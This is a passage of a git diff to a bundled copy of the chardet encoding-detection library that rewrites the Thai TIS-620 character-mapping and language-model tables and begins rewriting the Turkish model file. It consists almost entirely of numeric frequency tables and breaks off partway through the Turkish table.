( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253,182,106,107,100,183,184,185,101, 94,186,187,108,109,110,111, # 40 -188,189,190, 89, 95,112,113,191,192,193,194,253,253,253,253,253, # 50 -253, 64, 72, 73,114, 74,115,116,102, 81,201,117, 90,103, 78, 82, # 60 - 96,202, 91, 79, 84,104,105, 97, 98, 92,203,253,253,253,253,253, # 70 -209,210,211,212,213, 88,214,215,216,217,218,219,220,118,221,222, -223,224, 99, 85, 83,225,226,227,228,229,230,231,232,233,234,235, -236, 5, 30,237, 24,238, 75, 8, 26, 52, 34, 51,119, 47, 58, 57, - 49, 53, 55, 43, 20, 19, 44, 14, 48, 3, 17, 25, 39, 62, 31, 54, - 45, 9, 16, 2, 61, 15,239, 12, 42, 46, 18, 21, 76, 4, 66, 63, - 22, 10, 1, 36, 23, 13, 40, 27, 32, 35, 86,240,241,242,243,244, - 11, 28, 41, 29, 33,245, 50, 37, 6, 7, 67, 77, 38, 93,246,247, - 68, 56, 59, 65, 69, 60, 70, 80, 71, 87,248,249,250,251,252,253, -) +# Character Mapping Table(s): +TIS_620_THAI_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 182, # 'A' + 66: 106, # 'B' + 67: 107, # 'C' + 68: 100, # 'D' + 69: 183, # 'E' + 70: 184, # 'F' + 71: 185, # 'G' + 72: 101, # 'H' + 73: 94, # 'I' + 74: 186, # 'J' + 75: 187, # 'K' + 76: 108, # 'L' + 77: 109, # 'M' + 78: 110, # 'N' + 79: 111, # 'O' + 80: 188, # 'P' + 81: 189, # 'Q' + 82: 190, # 'R' + 83: 89, # 'S' + 84: 95, # 'T' + 85: 112, # 'U' + 86: 113, # 'V' + 87: 191, # 'W' + 88: 192, # 'X' + 89: 193, # 'Y' + 90: 194, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 64, # 'a' + 98: 72, # 'b' + 99: 73, # 'c' + 100: 114, # 'd' + 101: 74, # 'e' + 102: 115, # 'f' + 103: 116, # 'g' + 104: 102, # 'h' + 105: 81, # 'i' + 106: 201, # 'j' + 107: 117, # 'k' + 108: 90, # 'l' + 109: 103, # 'm' + 110: 78, # 'n' + 111: 82, # 'o' + 112: 96, # 'p' + 113: 202, # 'q' + 114: 91, # 'r' + 115: 79, # 's' + 116: 84, # 't' + 117: 104, # 'u' + 118: 105, # 'v' + 119: 97, # 'w' + 120: 98, # 'x' + 121: 92, # 'y' + 122: 203, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 209, # '\x80' + 129: 210, # '\x81' + 130: 211, # '\x82' + 131: 212, # '\x83' + 132: 213, # '\x84' + 133: 88, # '\x85' + 134: 214, # '\x86' + 135: 215, # '\x87' + 136: 216, # '\x88' + 137: 217, # '\x89' + 138: 218, # '\x8a' + 139: 219, # '\x8b' + 140: 220, # '\x8c' + 141: 118, # '\x8d' + 142: 221, # '\x8e' + 143: 222, # '\x8f' + 144: 223, # '\x90' + 145: 224, # '\x91' + 146: 99, # '\x92' + 147: 85, # '\x93' + 148: 83, # '\x94' + 149: 225, # '\x95' + 150: 226, # '\x96' + 151: 227, # '\x97' + 152: 228, # '\x98' + 153: 229, # '\x99' + 154: 230, # '\x9a' + 155: 231, # '\x9b' + 156: 232, # '\x9c' + 157: 233, # '\x9d' + 158: 234, # '\x9e' + 159: 235, # '\x9f' + 160: 236, # None + 161: 5, # 'ก' + 162: 30, # 'ข' + 163: 237, # 'ฃ' + 164: 24, # 'ค' + 165: 238, # 'ฅ' + 166: 75, # 'ฆ' + 167: 8, # 'ง' + 168: 26, # 'จ' + 169: 52, # 'ฉ' + 170: 34, # 'ช' + 171: 51, # 'ซ' + 172: 119, # 'ฌ' + 173: 47, # 'ญ' + 174: 58, # 'ฎ' + 175: 57, # 'ฏ' + 176: 49, # 'ฐ' + 177: 53, # 'ฑ' + 178: 55, # 'ฒ' + 179: 43, # 'ณ' + 180: 20, # 'ด' + 181: 19, # 'ต' + 182: 44, # 'ถ' + 183: 14, # 'ท' + 184: 48, # 'ธ' + 185: 3, # 'น' + 186: 17, # 'บ' + 187: 25, # 'ป' + 188: 39, # 'ผ' + 189: 62, # 'ฝ' + 190: 31, # 'พ' + 191: 54, # 'ฟ' + 192: 45, # 'ภ' + 193: 9, # 'ม' + 194: 16, # 'ย' + 195: 2, # 'ร' + 196: 61, # 'ฤ' + 197: 15, # 'ล' + 198: 239, # 'ฦ' + 199: 12, # 'ว' + 200: 42, # 'ศ' + 201: 46, # 'ษ' + 202: 18, # 'ส' + 203: 21, # 'ห' + 204: 76, # 'ฬ' + 205: 4, # 'อ' + 206: 66, # 'ฮ' + 207: 63, # 'ฯ' + 208: 22, # 'ะ' + 209: 10, # 'ั' + 210: 1, # 'า' + 211: 36, # 'ำ' + 212: 23, # 'ิ' + 213: 13, # 'ี' + 214: 40, # 'ึ' + 215: 27, # 'ื' + 216: 32, # 'ุ' + 217: 35, # 'ู' + 218: 86, # 'ฺ' + 219: 240, # None + 220: 241, # None + 221: 242, # None + 222: 243, # None + 223: 244, # '฿' + 224: 11, # 'เ' + 225: 28, # 'แ' + 226: 41, # 'โ' + 227: 29, # 'ใ' + 228: 33, # 'ไ' + 229: 245, # 'ๅ' + 230: 50, # 'ๆ' + 231: 37, # '็' + 232: 6, # '่' + 233: 7, # '้' + 234: 67, # '๊' + 235: 77, # '๋' + 236: 38, # '์' + 237: 93, # 'ํ' + 238: 246, # '๎' + 239: 247, # '๏' + 240: 68, # '๐' + 241: 56, # '๑' + 242: 59, # '๒' + 243: 65, # '๓' + 244: 69, # '๔' + 245: 60, # '๕' + 246: 70, # '๖' + 247: 80, # '๗' + 248: 71, # '๘' + 249: 87, # '๙' + 250: 248, # '๚' + 251: 249, # '๛' + 252: 250, # None + 253: 251, # None + 254: 252, # None + 255: 253, # None +} -# Model Table: -# total sequences: 100% -# first 512 sequences: 92.6386% -# first 1024 sequences:7.3177% -# rest sequences: 1.0230% -# negative sequences: 0.0436% -ThaiLangModel = ( -0,1,3,3,3,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,0,0,3,3,3,0,3,3,3,3, -0,3,3,0,0,0,1,3,0,3,3,2,3,3,0,1,2,3,3,3,3,0,2,0,2,0,0,3,2,1,2,2, -3,0,3,3,2,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,0,3,2,3,0,2,2,2,3, -0,2,3,0,0,0,0,1,0,1,2,3,1,1,3,2,2,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1, -3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2,3,3,2,3,2,3,3,2,2,2, -3,1,2,3,0,3,3,2,2,1,2,3,3,1,2,0,1,3,0,1,0,0,1,0,0,0,0,0,0,0,1,1, -3,3,2,2,3,3,3,3,1,2,3,3,3,3,3,2,2,2,2,3,3,2,2,3,3,2,2,3,2,3,2,2, -3,3,1,2,3,1,2,2,3,3,1,0,2,1,0,0,3,1,2,1,0,0,1,0,0,0,0,0,0,1,0,1, -3,3,3,3,3,3,2,2,3,3,3,3,2,3,2,2,3,3,2,2,3,2,2,2,2,1,1,3,1,2,1,1, -3,2,1,0,2,1,0,1,0,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0, -3,3,3,2,3,2,3,3,2,2,3,2,3,3,2,3,1,1,2,3,2,2,2,3,2,2,2,2,2,1,2,1, -2,2,1,1,3,3,2,1,0,1,2,2,0,1,3,0,0,0,1,1,0,0,0,0,0,2,3,0,0,2,1,1, -3,3,2,3,3,2,0,0,3,3,0,3,3,0,2,2,3,1,2,2,1,1,1,0,2,2,2,0,2,2,1,1, -0,2,1,0,2,0,0,2,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0, -3,3,2,3,3,2,0,0,3,3,0,2,3,0,2,1,2,2,2,2,1,2,0,0,2,2,2,0,2,2,1,1, -0,2,1,0,2,0,0,2,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0, -3,3,2,3,2,3,2,0,2,2,1,3,2,1,3,2,1,2,3,2,2,3,0,2,3,2,2,1,2,2,2,2, -1,2,2,0,0,0,0,2,0,1,2,0,1,1,1,0,1,0,3,1,1,0,0,0,0,0,0,0,0,0,1,0, -3,3,2,3,3,2,3,2,2,2,3,2,2,3,2,2,1,2,3,2,2,3,1,3,2,2,2,3,2,2,2,3, -3,2,1,3,0,1,1,1,0,2,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,2,0,0, -1,0,0,3,0,3,3,3,3,3,0,0,3,0,2,2,3,3,3,3,3,0,0,0,1,1,3,0,0,0,0,2, -0,0,1,0,0,0,0,0,0,0,2,3,0,0,0,3,0,2,0,0,0,0,0,3,0,0,0,0,0,0,0,0, -2,0,3,3,3,3,0,0,2,3,0,0,3,0,3,3,2,3,3,3,3,3,0,0,3,3,3,0,0,0,3,3, -0,0,3,0,0,0,0,2,0,0,2,1,1,3,0,0,1,0,0,2,3,0,1,0,0,0,0,0,0,0,1,0, -3,3,3,3,2,3,3,3,3,3,3,3,1,2,1,3,3,2,2,1,2,2,2,3,1,1,2,0,2,1,2,1, -2,2,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0, -3,0,2,1,2,3,3,3,0,2,0,2,2,0,2,1,3,2,2,1,2,1,0,0,2,2,1,0,2,1,2,2, -0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,2,1,3,3,1,1,3,0,2,3,1,1,3,2,1,1,2,0,2,2,3,2,1,1,1,1,1,2, -3,0,0,1,3,1,2,1,2,0,3,0,0,0,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, -3,3,1,1,3,2,3,3,3,1,3,2,1,3,2,1,3,2,2,2,2,1,3,3,1,2,1,3,1,2,3,0, -2,1,1,3,2,2,2,1,2,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2, -3,3,2,3,2,3,3,2,3,2,3,2,3,3,2,1,0,3,2,2,2,1,2,2,2,1,2,2,1,2,1,1, -2,2,2,3,0,1,3,1,1,1,1,0,1,1,0,2,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,2,3,2,2,1,1,3,2,3,2,3,2,0,3,2,2,1,2,0,2,2,2,1,2,2,2,2,1, -3,2,1,2,2,1,0,2,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,2,3,1,2,3,3,2,2,3,0,1,1,2,0,3,3,2,2,3,0,1,1,3,0,0,0,0, -3,1,0,3,3,0,2,0,2,1,0,0,3,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,2,3,2,3,3,0,1,3,1,1,2,1,2,1,1,3,1,1,0,2,3,1,1,1,1,1,1,1,1, -3,1,1,2,2,2,2,1,1,1,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -3,2,2,1,1,2,1,3,3,2,3,2,2,3,2,2,3,1,2,2,1,2,0,3,2,1,2,2,2,2,2,1, -3,2,1,2,2,2,1,1,1,1,0,0,1,1,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,1,3,3,0,2,1,0,3,2,0,0,3,1,0,1,1,0,1,0,0,0,0,0,1, -1,0,0,1,0,3,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,0,2,2,2,3,0,0,1,3,0,3,2,0,3,2,2,3,3,3,3,3,1,0,2,2,2,0,2,2,1,2, -0,2,3,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -3,0,2,3,1,3,3,2,3,3,0,3,3,0,3,2,2,3,2,3,3,3,0,0,2,2,3,0,1,1,1,3, -0,0,3,0,0,0,2,2,0,1,3,0,1,2,2,2,3,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1, -3,2,3,3,2,0,3,3,2,2,3,1,3,2,1,3,2,0,1,2,2,0,2,3,2,1,0,3,0,0,0,0, -3,0,0,2,3,1,3,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,1,3,2,2,2,1,2,0,1,3,1,1,3,1,3,0,0,2,1,1,1,1,2,1,1,1,0,2,1,0,1, -1,2,0,0,0,3,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,3,1,0,0,0,1,0, -3,3,3,3,2,2,2,2,2,1,3,1,1,1,2,0,1,1,2,1,2,1,3,2,0,0,3,1,1,1,1,1, -3,1,0,2,3,0,0,0,3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,2,3,0,3,3,0,2,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0, -0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,2,3,1,3,0,0,1,2,0,0,2,0,3,3,2,3,3,3,2,3,0,0,2,2,2,0,0,0,2,2, -0,0,1,0,0,0,0,3,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, -0,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,1,2,3,1,3,3,0,0,1,0,3,0,0,0,0,0, -0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,1,2,3,1,2,3,1,0,3,0,2,2,1,0,2,1,1,2,0,1,0,0,1,1,1,1,0,1,0,0, -1,0,0,0,0,1,1,0,3,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,2,1,0,1,1,1,3,1,2,2,2,2,2,2,1,1,1,1,0,3,1,0,1,3,1,1,1,1, -1,1,0,2,0,1,3,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,1, -3,0,2,2,1,3,3,2,3,3,0,1,1,0,2,2,1,2,1,3,3,1,0,0,3,2,0,0,0,0,2,1, -0,1,0,0,0,0,1,2,0,1,1,3,1,1,2,2,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, -0,0,3,0,0,1,0,0,0,3,0,0,3,0,3,1,0,1,1,1,3,2,0,0,0,3,0,0,0,0,2,0, -0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, -3,3,1,3,2,1,3,3,1,2,2,0,1,2,1,0,1,2,0,0,0,0,0,3,0,0,0,3,0,0,0,0, -3,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,0,1,2,0,3,3,3,2,2,0,1,1,0,1,3,0,0,0,2,2,0,0,0,0,3,1,0,1,0,0,0, -0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,0,2,3,1,2,0,0,2,1,0,3,1,0,1,2,0,1,1,1,1,3,0,0,3,1,1,0,2,2,1,1, -0,2,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,0,0,3,1,2,0,0,2,2,0,1,2,0,1,0,1,3,1,2,1,0,0,0,2,0,3,0,0,0,1,0, -0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,0,1,1,2,2,0,0,0,2,0,2,1,0,1,1,0,1,1,1,2,1,0,0,1,1,1,0,2,1,1,1, -0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1, -0,0,0,2,0,1,3,1,1,1,1,0,0,0,0,3,2,0,1,0,0,0,1,2,0,0,0,1,0,0,0,0, -0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,0,2,3,2,2,0,0,0,1,0,0,0,0,2,3,2,1,2,2,3,0,0,0,2,3,1,0,0,0,1,1, -0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0, -3,3,2,2,0,1,0,0,0,0,2,0,2,0,1,0,0,0,1,1,0,0,0,2,1,0,1,0,1,1,0,0, -0,1,0,2,0,0,1,0,3,0,1,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,1,0,0,1,0,0,0,0,0,1,1,2,0,0,0,0,1,0,0,1,3,1,0,0,0,0,1,1,0,0, -0,1,0,0,0,0,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0, -3,3,1,1,1,1,2,3,0,0,2,1,1,1,1,1,0,2,1,1,0,0,0,2,1,0,1,2,1,1,0,1, -2,1,0,3,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,3,1,0,0,0,0,0,0,0,3,0,0,0,3,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1, -0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,2,0,0,0,0,0,0,1,2,1,0,1,1,0,2,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,2,0,0,0,1,3,0,1,0,0,0,2,0,0,0,0,0,0,0,1,2,0,0,0,0,0, -3,3,0,0,1,1,2,0,0,1,2,1,0,1,1,1,0,1,1,0,0,2,1,1,0,1,0,0,1,1,1,0, -0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,2,2,1,0,0,0,0,1,0,0,0,0,3,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0, -2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,3,0,0,1,1,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,1,0,1,2,0,1,2,0,0,1,1,0,2,0,1,0,0,1,0,0,0,0,1,0,0,0,2,0,0,0,0, -1,0,0,1,0,1,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,2,1,3,0,0,0,0,1,1,0,0,0,0,0,0,0,3, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,0,1,0,1,0,0,2,0,0,2,0,0,1,1,2,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0, -1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, -1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0, -2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,3,0,0,0, -2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,0,0, -1,0,0,0,0,0,0,0,0,1,0,0,0,0,2,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,1,1,0,0,2,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -) +TIS_620_THAI_MODEL = SingleByteCharSetModel(charset_name='TIS-620', + language='Thai', + char_to_order_map=TIS_620_THAI_CHAR_TO_ORDER, + language_model=THAI_LANG_MODEL, + typical_positive_ratio=0.926386, + keep_ascii_letters=False, + alphabet='กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛') -TIS620ThaiModel = { - 'char_to_order_map': TIS620CharToOrderMap, - 'precedence_matrix': ThaiLangModel, - 'typical_positive_ratio': 0.926386, - 'keep_english_letter': False, - 'charset_name': "TIS-620", - 'language': 'Thai', -} diff --git a/thirdparty/chardet/langturkishmodel.py b/thirdparty/chardet/langturkishmodel.py index a427a457398..94e39f5e227 100644 --- a/thirdparty/chardet/langturkishmodel.py +++ b/thirdparty/chardet/langturkishmodel.py @@ -1,193 +1,4383 @@ +#!/usr/bin/env python # -*- coding: utf-8 -*- -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Communicator client code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# Özgür Baskın - Turkish Language Model -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### -# 255: Control characters that usually does not exist in any text +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +TURKISH_LANG_MODEL = { + 23: { # 'A' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 1, # 'i' + 24: 0, # 'j' + 10: 2, # 'k' + 5: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 37: { # 'B' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 2, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 47: { # 'C' + 23: 0, # 'A' + 37: 0, 